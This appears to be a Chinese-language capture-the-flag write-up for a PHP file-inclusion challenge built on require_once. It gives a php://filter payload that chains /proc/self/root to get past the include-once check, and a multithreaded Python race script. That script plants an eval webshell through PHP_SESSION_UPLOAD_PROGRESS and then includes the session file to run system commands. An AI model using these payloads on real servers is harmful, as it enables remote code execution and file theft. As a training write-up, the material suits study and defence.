<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }
这道题没有使用文件包含考点经常出现的include()
,而是require_once()
,这个函数的特点是只包含一次,因为刚才是已经require_once 'flag.php'
了,不能再次包含。所以需要绕过require_once()
,让它检测传入的文件名哈希值既没有重复,又能读到flag.php这个文件。
require_once()
在对软链接的操作上存在一些缺陷,软连接层数较多会使hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
也可以利用PHP_SESSION_UPLOAD_PROGRESS上传文件后进行文件包含:
#coding=utf-8 import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('tac /var/www/html/flag.php');"} def write(session): while True: f = io.BytesIO(b'a' *100* 50) resp = session.post( 'http://3735466b-1305-491e-b32c-4733f9b9f113.node3.buuoj.cn/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://3735466b-1305-491e-b32c-4733f9b9f113.node3.buuoj.cn/?file=/tmp/sess_'+sessid,data=data) if 'tgao.txt' in resp.text: print(resp.text) event.clear() else: pass if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()